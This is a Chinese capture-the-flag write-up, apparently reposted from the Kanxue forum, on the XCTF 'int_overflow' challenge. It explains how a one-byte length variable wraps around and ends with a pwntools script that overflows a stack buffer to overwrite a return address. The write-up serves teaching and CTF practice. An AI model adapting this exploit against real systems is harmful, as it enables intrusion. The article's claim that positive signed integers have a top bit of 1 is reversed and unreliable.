经典整数溢出漏洞示例 XCTF int_overflow
2019-09-14 18:59:58 Author: mp.weixin.qq.com(查看原文) 阅读量:67 收藏

本文为看雪论坛优秀文章
看雪论坛作者ID:IS信息
整数溢出原理
整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数最高位为1,负数为0,无符号数取值范围为非负数,常见各类型占用字节数如下:

对于unsigned short int类型的两个变量var1、var2,假定取值var1 = 1,var2 = 65537。

C语言测试代码如下:
#include <stdio.h>
int main()
{
       unsigned short int var1 = 1, var2 = 65537;
       if (var1 == var2)
       {
              printf("溢出");
       }
       return 0;
}
编译运行截屏如下:

也就是说,对于一个2字节的Unsigned short int型变量,它的有效数据长度为两个字节,当它的数据长度超过两个字节时,就溢出,溢出的部分则直接忽略,使用相关变量时,使用的数据仅为最后2个字节,因此就会出现65537等于1的情况,其他类型变量和数值与之类似。
接下来看XCTF攻防世界里面的一道题:int_overflow。

32位,No canary found。
首先在main函数中,没有任何可疑的。

进入login函数:
接受了一个最大长度为0x199password。

进入check_passwd函数:
用一个一字节,8bit的变量存储password的长度,之后存在一个字符串拷贝,拷贝目的地在栈中,长度为14h,0x14,十进制20。

结合前面溢出原理分析,0x199(十进制409)的长度远大于1字节,即:

也就是说,这里存在证书溢出,password字符串的长度可以是3-8个字符,也可以是259-264个字符,接下来查看如何利用此漏洞。
查看字符串,发现cat flag字符串,查看调用:

也就是说,可以在字符串拷贝过程中,输入0x14个字符之后,就可以覆盖函数返回地址了,具体是不是0x14个字符,我们再看汇编语言。

在字符串拷贝之前,先把拷贝的源地址和目的地址压入堆栈,这里似乎没有任何问题,查看整个函数的汇编代码,就会发现,在函数最开始,压入了ebp变量,在函数结尾,存在一条leave指令,而在32位程序中,leave指令等于mov esp,ebppop ebp两条指令的组合,也就是说,在覆盖函数放回地址之前,还有一次出栈操作,出栈数据大小4字节,即覆盖之前还需将这4字节覆盖了,才能实现跳转指向what_is_this函数,编写利用脚本如下:
259-264之间随机选择一个数,这里取262,264-0x14-4-4=234
即:
from pwn import *
io = remote("111.198.29.45", 47271)
cat_flag_addr = 0x0804868B
io.sendlineafter("Your choice:", "1")
io.sendlineafter("your username:", "kk")
io.recvuntil("your passwd:")
payload = "a" * 0x14 + "aaaa" + p32(cat_flag_addr)+"a"*234
io.sendline(payload)
io.recv()
io.interactive()
成功拿到flag,溢出成功。
- End -

看雪ID:IS信息

https://bbs.pediy.com/user-794232.htm 

*本文由看雪论坛 IS信息 原创,转载请注明来自看雪社区

推荐文章++++

基于二进制代码的代码混淆研究

移动基带安全研究系列之一 概念和系统篇

Linux Kernel Exploit 内核漏洞学习(4)-RW Any Memory

Android 调试任意APK - smail工程--多进程

使用IDA Python寻找二进制漏洞

进阶安全圈,不得不读的一本书


“阅读原文”一起来充电吧!

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458298861&amp;idx=3&amp;sn=c4bacfe97dc90c82de2be6575a3023a5&amp;chksm=b181996786f6107152d60f1e47fec5d82b854e17fd91e98a2a3adcff549648fc3ce2675840bf#rd
如有侵权请联系:admin#unsafe.sh